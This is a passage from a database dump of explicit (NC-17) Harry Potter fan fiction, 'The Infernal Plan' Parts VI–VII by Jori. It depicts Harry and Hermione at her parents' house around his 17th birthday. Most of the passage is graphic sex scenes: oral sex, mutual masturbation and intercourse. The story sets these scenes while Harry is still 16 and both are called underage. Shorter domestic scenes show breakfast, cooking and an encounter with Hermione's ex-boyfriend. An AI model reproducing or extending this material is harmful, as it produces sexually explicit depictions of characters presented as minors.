her hand away. After removing his glasses and setting them aside, she took his hand in hers, bringing his fingers up to her mouth. There, she kissed them before drawing two fingers into her mouth, sucking. He could barely make her out in the darkness, but what he could see made him grow painfully hard and he quickly shed his bottoms, wanting her mouth elsewhere.<br>\n\n<br> She released his fingers and helped him out of his shirt before placing gentle kisses down his chest and abdomen. When she got down to where he could feel her hot breath against his erection, she turned to look at him. He wanted to say \'only if you want to\' but those weren\'t the words that came out of his mouth. &quot;Please,&quot; he said wanting nothing more than to feel her mouth on him.<br>\n\n<br> Turning away from him, she held onto the base of his penis and when he felt her tongue soft as velvet move over the head for the first time, he wanted to scream or laugh or die. He wasn\'t quite sure which. His hips bucked up from her bed and he needed to be all the way in. He needed to feel her lips wrapped around him.<br>\n\n<br> And he got what he needed. Hermione put her mouth around him and slowly took him in. He struggled to keep from thrusting into mouth but he couldn\'t help it. She pulled away, coughing a little and giving him a nasty look.<br>\n\n<br> &quot;Sorry,&quot; he mumbled, hoping she wasn\'t going to quit already. &quot;I didn\'t mean to but that\'s bloody amazing, Hermione. Please . . .&quot;<br>\n\n<br> That\'s all he had to say and her lips were back around him, moving up and down as her tongue swirled and danced everywhere. He reached out and touched her long hair with one hand while the other held on to her sheets for dear life. The wet sounds she made as she moved filled his brain and nothing else seemed to matter but the rhythm of her mouth and tongue. He felt her tongue sweep across the tiny drop of fluid that was forming at the tip and she stopped for just a moment before continuing on.<br>\n\n<br> After so many months of being apart from her without any sexual contact (he was too scared of the Durlseys catching him wacking off to even try that) he knew that there was no way he was going to last long. Afraid of coming in her mouth on her first go at this, he pushed her away long before he was ready.<br>\n\n<br> &quot;Did you like that?&quot; she asked, moving back up to face him.<br>\n\n<br> &quot;Oh, yes. Very much,&quot; he said, kissing her wet mouth. She tasted salty now and he knew that was the taste of him on her tongue. &quot;It probably felt a lot like this.&quot;<br>\n\n<br> With that, he disappeared under the blankets, trailing little kisses over her breasts and down her tummy, stopping to swirl his tongue around her belly button just to make her giggle softly. When he got to where he wanted to be, he eased her thighs apart and heard the giggle turn into a gasp as his tongue made contact for the first time with her clitoris.<br>\n\n<br> He circled and swirled around the little nub and she fell completely silent. Harry was beginning to think that perhaps he was doing it all wrong but then her fingers tangled through his hair and she pulled him closer, obviously wanting more. He gave her more, sucking and licking and feeling her body melt under his mouth. He had never heard her make noises quite like that before and he hoped she didn\'t get any louder. It would never do for her parents to come and find him with his head buried between their daughter\'s thighs.<br>\n\n<br> Sometimes it was hard for him to believe this was the same girl he met on the train years ago -- the one who was against breaking any of the rules. Here she was now, in her childhood bedroom, allowing him to do these things to her with her parents right down the hall.<br>\n\n<br> He slid a finger into her wetness, and then another, stroking her inside while he kept his mouth focused on her clitoris. Between his state of arousal and the heat she was making under these blankets, he was dripping with sweat now. The scent of her so close did nothing to make him any less aroused and he wished he could do something about it.<br>\n\n<br> &quot;OH!&quot; she said a little too loudly and he felt her body quake around his fingers and against his mouth. He didn\'t let up and replaced his mouth with his thumb, drawing her orgasm out for as long as he could. Finally, she wiggled away, unable to take anymore.<br>\n\n<br> Harry crawled out of under her flowery sheets, his mouth still damp with her wetness. His hips were nestled between her thighs and the nearness of her sex to his was nearly enough to send him over the edge. She kissed him, tasting herself just as he had tasted himself.<br>\n\n<br> &quot;Curious,&quot; she said, running her fingers through his soaked hair. She brushed his bangs to one side and then the other, just like she always did. It didn\'t matter if she couldn\'t see it or not. She still did it anyway.<br>\n\n<br> &quot;What?&quot; he asked. She was breathless under him, her breasts heaving against his chest. He had no clue what was curious. Maybe she didn\'t like that or maybe she was just afraid of how easily they now did things to each other. Enjoyable things.<br>\n\n<br> &quot;It just keeps getting better,&quot; she said, pulling him down for another kiss. It was long and passionate, her tongue dancing around his mouth. He tried to remember how awful it had been for her the first time. The improvement from then had to be considerable in her eyes. For him, it had always been amazing.<br>\n\n<br> Without really being aware of it, he was rubbing his erection across her sex. She stopped moving and looked at him as he gently nudged in a little way. He needed her so badly he was willing to risk everything.<br>\n\n<br> &quot;I\'ll pull out. I promise,&quot; he pleaded, surprised he was even asking this but his head was swimming around in a euphoric cloud. What surprised him more was Hermione was considering it. He knew enough to know that with even what they were doing right now, there was a possibility of things going wrong. And he knew that when it came down to it, he wasn\'t sure he\'d have enough control. But he wanted this so badly.<br>\n\n<br> &quot;Harry . . . please,&quot; she said, pushing against him. He slid all the way out of her and ended up lying by her side, painfully erect against her hip. &quot;We\'ll go into town tomorrow. We\'ll get something. We shouldn\'t . . . like that.&quot;<br>\n\n<br> She sounded upset and he was sure it was with him and not at the situation. He should have never done what he did. He kissed her softly on her cheek and took her hand in his. &quot;Love you, Hermione.&quot;<br>\n\n<br> &quot;I love you, too, but I won\'t let you get away with just anything,&quot; she said, turning towards him. He was absolutely dying for release now and he knew he was going to have to leave her.<br>\n\n<br> &quot;Hermione, I have to go to the bathroom or back to my room. I . . .&quot;<br>\n\n<br> &quot;Do it here,&quot; she said and he sat up and looked at her. She was beautiful, her hair spread out across her pillow and her bare breasts lit by the scant bit of moonlight coming through the window.<br>\n\n<br> &quot;What?&quot; he asked.<br>\n\n<br> &quot;Do it here. Come on, Harry. Do you think I\'m daft? When we used to make out in the common room, do you really think I had no clue about you sneaking off to the bathroom before you went up to your room? It\'s not like you haven\'t seen me touch myself. This time, I want to watch you,&quot; she said, smiling at him.<br>\n\n<br> &quot;Er -- okay,&quot; he said. She propped herself up and he felt awkward with her focusing so intently on his hand and what he was doing. It was as if she was studying how he did this so she could do it next time. Maybe that wasn\'t such a bad idea.<br>\n\n<br> He was close when he noticed her hands were doing nothing. He kicked the sheets the rest of the way off of her and she looked startled.<br>\n\n<br> &quot;Touch yourself,&quot; he whispered. &quot;Come for me again. You can do it.&quot;<br>\n\n<br> &quot;I can\'t . . . I can\'t again so soon after that,&quot; she said but did as he said anyway. Her hand slid down her body, stroking herself. In a few minutes, he came in his hand, all wet and sticky and after watching him, she came again, gasping in surprise.<br>\n\n<br> &quot;I told you,&quot; he said, smiling at her.<br>\n\n<br> &quot;I should have never given you that damn book. It has made you smug, Harry Potter,&quot; she said as he continued smiling.<br>\n\n<br> Harry wished he could stay with her all night but she had already told him that her father sometimes got up extremely early to read the paper before going into work. Her mother was taking a few days off, obviously not trusting them to not do what they just had just done.<br>\n\n<br> He reached for a tissue from the box at the side of her bed and tried to clean himself up but he wasn\'t very successful. &quot;I need to go,&quot; he said, putting on his glasses and searching for his bedclothes. Her room smelled of the two of them and he had no idea what she was going to do about that. He had to go to the bathroom and clean up his face and hands.<br>\n\n<br> &quot;I\'ll see you in the morning. After breakfast, we\'ll go into town and I promise that we\'ll take care of everything then, okay?&quot; she said, pulling on her nightgown. She grabbed him and kissed him one last time before he got up to leave her. &quot;Then you can come back tomorrow night and every night until you have to leave.&quot;<br>\n\n<br> Harry smiled as he closed Hermione\'s door behind him. Crookshanks was there, looking up at him with big glowing eyes. The cat followed him into the bathroom, nipping at his ankles.<br>\n\n<br> &quot;Sorry, sport,&quot; Harry whispered to the cat. &quot;You can have her all to yourself next week. This week, she\'s mine.&quot;<br>\n\n<br> ************<br>\n\n<br> Harry woke up with a start, unable to figure out exactly where he was. He reached for his glasses but the night table wasn\'t where it should be. As if she could tell he was a little disoriented, Hedwig let out a soft \'hoot\' from where she was perched in the corner but even though his owl was with him, this definitely wasn\'t his room at the Dursleys.<br>\n\n<br> Then he remembered exactly where he was. He was at Hermione\'s house. It was the week of his birthday and he was spending it with Hermione. A huge smile spread across his face as he quickly got out of bed and pulled his robe over his night clothes.<br>\n\n<br> It was then that images of what Hermione and he had done through the night came back to him and a warmth spread across his body. He looked in the mirror at his flushed face and tried to get his hair to stand up a little less. It was hopeless. At least in Hermione\'s house, the mirrors didn\'t feel the need to tell him that.<br>\n\n<br> Before he could get out the door, Hedwig let out another hoot. &quot;Yes, Hedwig, I\'ll bring you back a piece of toast,&quot; Harry told his owl before leaving the room. Hermione\'s door was open and she wasn\'t in her room. Her parents weren\'t in theirs, either.<br>\n\n<br> He made his way down the stairs and to the kitchen where he found the family all sitting around the breakfast table laughing at something Hermione was reading to them out of the Daily Prophet. She looked up at Harry and her smile only grew wider.<br>\n\n<br> &quot;Good morning, Harry,&quot; Mr. Granger said, motioning for Harry to sit down in the chair next to Hermione. &quot;Did you have a good night\'s rest? Any problem sleeping falling asleep in a strange place and all?&quot;<br>\n\n<br> &quot;Oh, no. Not at all. I had a great night,&quot; Harry said, smiling back at Hermione.<br>\n\n<br> Hermione blushed a brilliant shade of magenta as she hid her face behind the newspaper.<br>\n\n<br> &quot;What do you like to eat, dear? You can have whatever there is in the house,&quot; Mrs. Granger said and Harry cast a glance at Hermione. She now had several other shades of red and pink joining her face and he imagined she was blushing right up to the tip of her ears.<br>\n\n<br> &quot;Hermione, put down that paper. Always have to have your nose in some reading material. You have a guest and you should see to it that he gets what he wants,&quot; Mr. Granger said and Hermione dropped the paper and scurried from her chair before they could notice the smirk on her face or how flushed her cheeks were.<br>\n\n<br> &quot;Toast, Harry?&quot; Hermione asked from the far side of the kitchen.<br>\n\n<br> &quot;Yes, thank you,&quot; Harry answered, smiling as she rolled her eyes.<br>\n\n<br> Everything here was different than it was at the Weasleys, including breakfast. This was more like the Dursleys, only everybody liked each other. That, and Harry could have whatever he wanted for breakfast. He watched as Hermione went about making him several pieces of toast using the Muggle appliances they were both so familiar with. It\'s only then that he realized someday, they wouldn\'t have to live like this. They wouldn\'t be underage anymore and could live like the Weasleys.<br>\n\n<br> &quot;Oh, blast,&quot; Hermione said as the toast popped up, black.<br>\n\n<br> &quot;That\'s okay,&quot; Harry said and both of the elder Grangers wrinkled their noses at the smell.<br>\n\n<br> &quot;No, no, no. I\'ll get this right. If I can\'t even make you a piece of toast how can . . . oh, I see,&quot; she said, interrupting her own train of thought. &quot;Who turned this setting up? Dad?&quot;<br>\n\n<br> &quot;That is a rather tricky recipe, Hermione dear. But after you master toast, we\'ll work on boiling water next,&quot; Mr. Granger said, smiling at his daughter.<br>\n\n<br> &quot;At school, Hermione can make anything boil. We\'ve done some rather tricky potions that involve boiling an ingredient to exactly the right temperature and if it goes one degree over . . . what a mess,&quot; Harry said, shaking his head at the memory from this past year. Her parents both stared at him, their mouths open. He thought maybe it would be best if he avoided discussing the dangerous aspects of potions class from that point on.<br>\n\n<br> &quot;Here,&quot; Hermione said, setting down a plate of absolutely perfect toast in front of Harry. &quot;I know how to make toast. Without magic or the help of house elves, even.&quot;<br>\n\n<br> &quot;Of course you do,&quot; her father said, picking up Hermione\'s copy of the Daily Prophet. Harry imagined all the colors Uncle Vernon\'s face would turn if he ever looked through that paper and he sighed, wishing he had a family that accepted what he was. Without the paper, he had to rely on Ron and Hermione to let him know that the portrait problem at Hogwarts seemed to be permanent.<br>\n\n<br> &quot;What are your plans for today?&quot; Mrs. Granger asked, looking over her cup of tea at Hermione.<br>\n\n<br> &quot;I don\'t know. What are your plans?&quot; Hermione asked, trying to sound very innocent. Harry found himself enjoying getting to know what Hermione was like around her parents in her own house.<br>\n\n<br> &quot;Your father has to go into work this morning. Old Mrs. Crabtree cracked her . . . well, never mind. But he\'ll be working this morning and when he gets home, I\'ll go in this afternoon. I only have a few appointments,&quot; Mrs. Granger said, her eyes shifting from Hermione to Harry and then back again. Harry sensed that she trusted the two of them less today than she did yesterday.<br>\n\n<br> &quot;We\'re going to walk to town if that\'s okay with you,&quot; Hermione said and Mrs. Granger smiled, looking happy they would be out of the house and a long way away from any doors they could close.<br>\n\n<br> &quot;That will be nice. You can show Harry where you grew up and where you went to school,&quot; Mr. Granger said.<br>\n\n<br> &quot;Have you decided what you would like to do for your birthday, Harry?&quot; Mrs. Granger asked.<br>\n\n<br> &quot;I want to cook dinner for him,&quot; Hermione said before he could get a chance to answer. All three of them turned their heads to look at her and then down at the plate of half nibbled toast in front of Harry. &quot;I can do it. I\'ve baked cakes before and I won\'t try anything too difficult. If I can brew up a potion at school, I can surely do this.&quot;<br>\n\n<br> &quot;How does that sound to you, Harry?&quot; Mr. Granger asked cautiously. Harry looked at his girlfriend and realized that he could only answer one way.<br>\n\n<br> &quot;I would love it if you cooked dinner for my birthday,&quot; Harry said and Hermione beamed.<br>\n\n<br> ************<br>\n\n<br> &quot;Did you get them?&quot; Hermione asked in a near whisper as Harry came around the corner.<br>\n\n<br> &quot;Yes,&quot; he said, looking behind him to figure out why Hermione was so paranoid.<br>\n\n<br> &quot;And the druggist didn\'t say anything?&quot; she asked.<br>\n\n<br> &quot;Why would he?&quot;<br>\n\n<br> &quot;I grew up here, Harry. Everyone knows me,&quot; she said in a matter of fact tone. &quot;If he knew you were with me and you were buying those, it would raise certain questions that I\'d rather not answer.&quot;<br>\n\n<br> &quot;This was certainly easier at Hogwarts,&quot; Harry said as Hermione grabbed the bag from him and shoved it in the totebag slung over her shoulder.<br>\n\n<br> &quot;I\'ve been reading up on different spells and potions for . . . you know, especially ones that last longer than those I\'ve used in the past. I should have looked into it before the term was over but I never dreamed you\'d be allowed to come stay with me,&quot; she said, grabbing hold of his hand and then dropping it quickly.<br>\n\n<br> &quot;Oh, come on, Hermione,&quot; Harry said, pleading with her as he took her hand in his. &quot;Who\'s going to see us?&quot;<br>\n\n<br> &quot;I guess no . . .&quot; Hermione started to say when they were interrupted by the sounds of a bicycle stopping behind them.<br>\n\n<br> &quot;So, what are you two lovebirds up to?&quot; Both Harry and Hermione turned around, startled, and Hermione jerked her hand from Harry\'s. It was Drew and he was about a meter behind them.<br>\n\n<br> &quot;Nothing, Drew, and we\'re not \'lovebirds.\' Harry is a friend from school,&quot; Hermione said but she didn\'t sound terribly convincing as far as Harry was concerned.<br>\n\n<br> &quot;Yes, that school you go to. What school is that, exactly?&quot; Drew asked, narrowing his eyes at both of them. Harry didn\'t know exactly what to make of Drew. Hermione always made him sound pleasant yet he looked so sullen. Maybe he really liked Hermione a lot more than Harry allowed himself to imagine. It was serious enough that she did plan on going to bed with him.<br>\n\n<br> &quot;How many times have I told you it\'s just a small school that no one\'s ever heard of. Very small in fact. There\'s hardly anything to do there,&quot; Hermione answered.<br>\n\n<br> &quot;I think you found something to do,&quot; Drew said, his eyes focused only on Harry now. Harry knew there\'d be no way he could win if the boy decided to pick a fight about this. At least not without some sort of magical interference, that is. He was no longer the small boy that Dudley\'s friends enjoyed pummeling but he certainly wasn\'t big enough to take on someone like Drew.<br>\n\n<br> &quot;Drew, let it be. You and I aren\'t together anymore and that\'s all there is to it. It shouldn\'t matter who I\'m seeing now since we decided it just wasn\'t going to work between us,&quot; Hermione said, stepping closer to Drew and putting her hand on his arm. He looked down to where she was touching him, a wistful expression on his face.<br>\n\n<br> &quot;I\'m sorry. I miss you, that\'s all,&quot; he said and Harry felt jealousy rush through him.<br>\n\n<br> &quot;Stop by my house before I return to school next month, okay?&quot; she asked. He looked up at her with his big blue eyes and Harry swallowed hard to keep from saying anything.<br>\n\n<br> &quot;Okay. I will,&quot; he said, turning to give Harry a quick look. With that, he rode off on his bicycle.<br>\n\n<br> &quot;Hermione, what was that about?&quot; Harry asked, wishing that his insides weren\'t all twisted up right now.<br>\n\n<br> &quot;He\'s just a friend, Harry,&quot; Hermione said, walking quickly in the direction of her house.<br>\n\n<br> &quot;A friend you were in love with at one time,&quot; he said, following her. She didn\'t say anything for a long time and that didn\'t do anything to help untwist his insides. &quot;Hermione?&quot;<br>\n\n<br> She stopped so suddenly that he nearly ran into her. Turning to face him, her eyes were filled with something he couldn\'t quite comprehend. It was a lot of anger and something else . . . maybe sadness.<br>\n\n<br> &quot;I thought I was. I thought I loved him but I was absolutely clueless. I had no concept of what loving someone really meant. He was fun, Harry, and it was nice to have someone to be friends with last summer and I thought it was going to be more but then you happened . . . you happened and I realized that everything else and everyone else . . . none of it could ever compare to what I have with you. Don\'t you get that? Are you so completely convinced that no one could ever love you the most? Are you?&quot; Hermione asked. Harry took a step back, trying to take in everything she just said.<br>\n\n<br> &quot;I . . . er . . . Hermione . . .&quot; he mumbled and she reached out and took his hand in hers. He really didn\'t know what to say. A part of him was convinced that she couldn\'t possibly love him as much as she said she did while another part was desperate to believe anything.<br>\n\n<br> And a tiny part of him, a part he liked to ignore, was convinced that the two of them were in way over their heads with this thing. He had no clue how he could be so confident at so many other things but when it came to her, he often felt as if he couldn\'t possibly deserve her love.<br>\n\n<br> &quot;You don\'t have to say anything. Just know that I love you, Harry. You and no one else. Can we not go through this again?&quot; Hermione asked. Harry nodded his head as they started walking and she didn\'t let go of his hand until they got to her street.<br>\n\n<br> ***********<br>\n\n<br> After waiting for what seemed like hours for her parents to fall asleep, they sat next to each other on the floor on the far side of her bed. In the moonlight, Hermione was carefully reading condom package, raising an eyebrow here and there.<br>\n\n<br> &quot;How do Muggles live like this?&quot; she asked, tossing Harry the box. &quot;I can\'t wait until we\'re no longer underage and I can do the things I do at school and . . . and we don\'t have to use those.&quot;<br>\n\n<br> &quot;It can\'t be that bad, Hermione,&quot; Harry said, opening the box and pulling out a square of foil. He was willing to endure this a few times if it meant they could have sex immediately. He figured that so far, he already had it better than any Muggle boy his age would have had it and this was only temporary.<br>\n\n<br> &quot;There are just so many things I\'m ready for . . . apparating. I can\'t wait to learn to apparate. And finding out if any of us can transfigure into . . . something. And I\'m ready for . . .&quot;<br>\n\n<br> &quot;A shag with your boyfriend?&quot; Harry interrupted. Hermione turned to him and smiled.<br>\n\n<br> &quot;Yes, I\'m ready for that, too,&quot; she said. He tossed the box aside, careful to keep track of the foil package, and Hermione straddled his lap.<br>\n\n<br> &quot;So am I,&quot; Harry said, the feel of her rubbing against him through his thin pajama bottoms was enough to send a flash of hot desire through his body.<br>\n\n<br> &quot;When we can do magic anytime, there are spells I\'ve heard about-- they\'re locked away in the restricted section -- that can make this even better,&quot; Hermione whispered into his ear between nibbling on it.<br>\n\n<br> &quot;How can it get better?&quot; Harry asked, his heart thumping hard in his chest. He had wanted to be inside of her for so long now he wasn\'t sure how long he was going to be able to last.<br>\n\n<br> &quot;It could go on for days . . .&quot; Hermione said right before her mouth descended on his. Her tongue gently plied his lips apart and then searched his mouth. He returned the kiss, pulling her to him as tightly as he could, while she continued to grind against his lap. His head was swimming with all the sensations and with the thought that he might not live if this went on for days but he\'d sure like to try and find out.<br>\n\n<br> He slid his hands up her nightgown, going to her breasts and cupping them. She pulled away from the kiss and took the garment off, tossing it aside. Like last night, her knickers were already gone before he even came to her room, and now she was naked on his lap. He dipped his head, his mouth replacing a hand over her breast and she sighed happily as his tongue danced across her skin.<br>\n\n<br> He slid his other hand down her body and between her thighs, touching her until she moaned. She leaned back, pulling her breasts away from his mouth, as his fingers started to swirl against her. Her eyes were now dark pools of desire, huge without any light, and he stared into them, thinking he might fall in if he wasn\'t careful.<br>\n\n<br> &quot;I need you,&quot; she whispered, moving away long enough for him to strip out of his pajama bottoms and fumble around with the condom. His hand were shaking and in the dark, he couldn\'t tell which way it was supposed to unroll so he flipped it one way and then the other, hoping the answer would magically come to him.<br>\n\n<br> &quot;Hermione . . .&quot; he pleaded, realizing magic wasn\'t going to come into play here anytime soon so Hermione would have to be the next best thing. She took it from him and gently unrolled it over his erection, making sure it was on just right. &quot;How\'d you learn that?&quot;<br>\n\n<br> &quot;I read the box,&quot; she said with a shrug, climbing on his lap again. She held onto his shoulders as he eased in slowly, only stopping when she gasped.<br>\n\n<br> &quot;Is something wrong?&quot; he asked.<br>\n\n<br> &quot;It\'s . . . it\'s been awhile and that thing is drier than . . . well, what you usually are,&quot; she said, leaning forward so her forehead was resting against his. He wrapped his arms around her, embracing her tightly, his eyes never leaving hers.<br>\n\n<br> &quot;We can wait until we\'re back at school. It\'s only another month,&quot; Harry said, trying to sound like he really meant it. Instead of saying anything, she slid the rest of the way down, taking all of him into her tight sex. Now he gasped but it was in pleasure.<br>\n\n<br> &quot;I don\'t want to wait another minute let alone another month. I\'ll get used to it,&quot; she said, making small movements over him. His hands went to her waist, holding on as she continued to move, helping her find a pace that was good for both of them.<br>\n\n<br> There was no way he was going to be able to last long. Even after everything they did last night, he could feel it building up way too quickly and it wouldn\'t be long. Someday, he though, they could use charms and potions that would make this last for days but right now he could use one that would make it last longer than three minutes.<br>\n\n<br> Hermione pulled her head back and was biting her bottom lip hard. Maybe three minutes was going to be long enough for her. He didn\'t hold back and let it end then, feeling the spasms of pleasure pass through is body. She placed a hand on his cheek and gave him a quick kiss before slipping off and snuggling in his arms.<br>\n\n<br> &quot;I\'m sorry, Hermione. I didn\'t know it would be like that,&quot; he said, kissing the top of her head. He was trying hard not to focus on the condom that was sort of dangling there but Hermione was looking right at it.<br>\n\n<br> &quot;I suppose we have to dispose of that somehow,&quot; she said, leaving his arms and reaching for the box of tissues. He did away with it, dropping it and the wrapper into a pile of tissues, crumbling the whole mess up into a ball and putting it aside.<br>\n\n<br> &quot;We can wait until we go back to Hogwarts,&quot; he said, pulling her close again.<br>\n\n<br> &quot;But it will be your birthday tomorrow and I had everything all planned. I\'ll be okay, Harry. It can\'t be like that every time. Maybe if . . . you know . . .,&quot; she said sitting up and touching his lips with her fingers. &quot;Maybe if you did that beforehand it wouldn\'t be so uncomfortable.&quot;<br>\n\n<br> He kissed her fingertips and smiled. &quot;Anything for you.&quot;<br>\n\n<br> They stayed there on the floor until they heard Crookshanks pawing the door from the outside. He stopped after a few seconds and they both sat quietly, waiting to find out of the Grangers opened their door to find out what was going on. They didn\'t.<br>\n\n<br> &quot;You better get to bed. It\'s late,&quot; Hermione said. Even though she said the words, she didn\'t let go of him.<br>\n\n<br> &quot;Look at the time,&quot; Harry said and Hermione turned to glance at the clock by her bedside. She settled back down into his arms and sighed.<br>\n\n<br> &quot;Happy 17th Birthday, Harry,&quot; she said softly, her fingers wrapping around his. &quot;I hope it\'s your best birthday ever.&quot;<br>\n\n<br> &quot;I think it just might be,&quot; he whispered back.<br>\n\n<br> ***********<br>\n\n<br> To Be Continued . . .<br>\n\n</p>\n\n '),
	(18, 7, ' <p>Harry Potter and the Infernal Plan Part VII<br> by Jori<br>\n\n<br> REVISED July 2003<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17<br>\n\n<br> Spoilers for all five books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br> From across the kitchen, Harry watched Hermione toss ingredients into the saute pan on the stove. She looked much like she did in potions class, carefully measuring out everything before adding it, leveling it all perfectly and stirring well. She dropped in another ingredient and flinched when something in the pan splattered her.<br>\n\n<br> &quot;Damn,&quot; she said, looking at the small burn on her arm.<br>\n\n<br> &quot;Are you okay?&quot; he asked and she jumped at the sound of his voice.<br>\n\n<br> &quot;I\'m fine. I\'m not very good at this,&quot; she said, sounding a little frustrated. &quot;And you aren\'t supposed to be watching me. You said you were going to take a nap.&quot;<br>\n\n<br> &quot;I couldn\'t sleep and I\'d rather be in here with you,&quot; he said, walking towards her. &quot;It looks like you\'re doing great.&quot;<br>\n\n<br> &quot;I want everything to be perfect,&quot; Hermione said, looking at the recipe one more time.<br>\n\n<br> &quot;You\'ve been brewing potions for years now. How different could this be?&quot; he asked, leaning over her shoulder and glancing at the recipe.<br>\n\n<br> &quot;People have to eat this,&quot; she said, reaching for the salt and adding a quick dash.<br>\n\n<br> &quot;I\'ve swallowed a few of your potions over the years . . .&quot;<br>\n\n<br> &quot;And they have to enjoy it,&quot; Hermione said, stopping him before he could remind her that he had indeed ingested some of the more unsavory concoctions she had made in the past.<br>\n\n<br> &quot;You really are doing fine. Here, let me help. I\'ve had to cook many meals at the Dursleys,&quot; he said, putting his arms around her. He placed his hand over hers, guiding as she stirred.<br>\n\n<br> &quot;You shouldn\'t have to do this. I don\'t want you to think you have to,&quot; she said, both of them staring down into the pan, watching it as if they were going to be graded when it was done.<br>\n\n<br> &quot;Why are you so insistent on cooking then? You don\'t have to do this, either,&quot; he said, as they slowly stirred, moving against each other. She pushed back slightly, her body fitting perfectly against his.<br>\n\n<br> &quot;Where\'s my dad?&quot; she asked nervously.<br>\n\n<br> &quot;When I checked, he was sleeping in the garden with your copy of the Daily Prophet,&quot; Harry answered. They didn\'t have to worry about Mrs. Granger for she was delayed at the office with a difficult patient.<br>\n\n<br> &quot;Good. If he saw us cooking like this, I\'m certain he\'d gather we were more than just friends.&quot;<br>\n\n<br> &quot;You didn\'t answer me. Why do you think you have to do this?&quot; he asked. Hermione\'s head drooped forwards as if she were embarrassed by the answer. &quot;Hermione?&quot;<br>\n\n<br> &quot;I want to be good at this,&quot; she said.<br>\n\n<br> &quot;You\'re good at most everything you do,&quot; Harry said. There were very few things Hermione didn\'t excel at. It was true that there wasn\'t much chance she\'d ever predict someone\'s future but that didn\'t really matter. Harry already had enough of that. He leaned in close enough to whisper in her ear. &quot;And there are some things you\'re great at.&quot;<br>\n\n<br> Even without seeing her face, he knew she was blushing. &quot;I can barely handle a broom. That\'s something I can\'t do well,&quot; Hermione said with a shrug.<br>\n\n<br> &quot;I\'ll teach you. When we get back to Hogwarts, I\'ll take you out on the Quidditch pitch,&quot; Harry said and Hermione snorted. &quot;What?&quot;<br>\n\n<br> &quot;You\'ll never let me on your broom and you know it,&quot; she said.<br>\n\n<br> &quot;Ron has used it before so I don\'t see why not. You can ride my broom anytime . . . what?&quot; he asked when she continued to make funny noises.<br>\n\n<br> &quot;Viktor once volunteered to show me some moves,&quot; Hermione said and Harry stopped stirring.<br>\n\n<br> &quot;I have better moves than Viktor,&quot; Harry said, not intending to sound as jealous as he just did over some guy Hermione hadn\'t seen in a long while.<br>\n\n<br> &quot;Of course you do,&quot; she said but he couldn\'t tell if she meant it or not. Harry took his hand from over top of hers and wrapped his arms around her waist. She sighed once before finally answering his question. &quot;This is important to me because it\'s for you. That\'s the biggest reason. And because we\'ll be out of school in a year and I didn\'t want you to think all I was capable of doing was mixing up potions and Arithmancy.&quot;<br>\n\n<br> &quot;Why would you worry about me thinking that?&quot; he asked.<br>\n\n<br> &quot;What are your plans for when we get out of school?&quot; Hermione asked.<br>\n\n<br> &quot;I haven\'t really figured that out. I thought you\'d go on with your studies and I\'ll do something. I\'m not sure I can be an Auror. My exam marks weren\'t that good,&quot; he said. He had no clear idea about what he was supposed to do after his schooling ended but he always assumed that if he survived his last year at Hogwarts, it would have something to do with the Order trying to bring down Voldemort. Unless he was already gone by then. Harry had put off thinking about the prophesy for so long and he certainly didn\'t want to start thinking about it now that he was alone with Hermione.<br>\n\n<br> &quot;Will we . . . do you think we\'ll be together?&quot; she asked and it was starting to dawn on him where all this was headed.<br>\n\n<br> &quot;I can\'t predict the future any better than you can,&quot; he said, rocking her in his arms now.<br>\n\n<br> They both stood in silence and Harry knew that the past year had been fluke. Something had to have gotten in the way of anything Voldemort planned for him and it often scared him that the one big change in his life was his present relationship with Hermione. He couldn\'t even begin to fathom how that could be why they didn\'t come after him in the past year but it had to be it. And that scared him.<br>\n\n<br> &quot;If we\'re together, someone will have to do the cooking,&quot; she said and Harry laughed. &quot;Why is that so funny?&quot;<br>\n\n<br> &quot;Because I can\'t picture you living a life like Mrs. Weasley. I can\'t picture us as the Weasleys at all with a bunch of kids and you keeping your wand tucked in the pocket of your apron,&quot; Harry said but Hermione didn\'t see much humor in it.<br>\n\n<br> &quot;Sometimes I think you can\'t picture us living a life together at all,&quot; Hermione said and he let go of her. Dropping the spoon, she turned around, looking up at him. He didn\'t know what to say. &quot;Sometimes I think you\'re sure you won\'t be alive to even try.&quot;<br>\n\n<br> He pulled her back into a tight embrace, neither of them caring about dinner right at that moment. &quot;I\'d like to consider it . . . I think we could . . . we\'ll have to see but I\'d like that,&quot; he finally said and she sighed.<br>\n\n<br> &quot;I\'d like that, too.&quot;<br>\n\n<br> &quot;And don\'t worry. I can cook. Even without magic,&quot; he said and she laughed a little.<br>\n\n<br> It was then that they heard the door slam and they jumped apart. Hermione turned around to face the stove and Harry stepped back further from her. Mr. Granger came into the kitchen, tossing the Daily Prophet onto the table. Walking over towards his daughter, he smiled brightly. Looking over Hermione\'s shoulder in the exact same place Harry was standing just a minute ago, he looked at the recipe.<br>\n\n<br> &quot;That smells wonderful! Much better than your toast. I think it might even smell better than most of the meals your mother cooks,&quot; Mr. Granger said. Harry couldn\'t help but feel a slight tug at his heart as Hermione beamed with pride over the compliment from her father.<br>\n\n<br> *********<br>\n\n<br> Harry was busy unwrapping his last few gifts. Ron\'s had just arrived a few minutes ago by owl all the way from Romania. He sent him a collection of pictures from Romania along with his gift and in one photo, Ron had his arm around his new girlfriend and they kept kissing each other.<br>\n\n<br> In his letter, he went on and on about her and how she was visiting Romania from Italy with her parents while they studied dragons with Charlie. Her name was Tullia and she had long, dark curls and Harry could make out silver rings on all her fingers. They matched all the hoops hanging from her ears. She was quite different than most of the girls he had ever met before (or any that Ron had ever found attractive) and that didn\'t pass Hermione\'s notice.<br>\n\n<br> &quot;She\'s . . . she\'s very . . . here, would you like to open your next present?&quot; Hermione asked, handing him another box and moving off the topic of Ron entirely.<br>\n\n<br> &quot;Thank you!&quot; Harry said after he opened it. She had been giving him gifts all day but this was his favorite. It was the picture that had first given them away -- the one that Colin had taken and handed over to Ron months ago -- and Hermione had it framed.<br>\n\n<br> &quot;Whatever you do, don\'t let my parents see it,&quot; Hermione said, looking at the photo Harry held in his hands. The image of Hermione was leaning over and kissing his image quite intently at the moment and Harry wished that the real Hermione sitting next to him would do the same thing. Unfortunately, Mr. and Mrs. Granger were in the next room watching the telly.<br>\n\n<br> &quot;You\'re going to have to tell them eventually,&quot; Harry said and Hermione 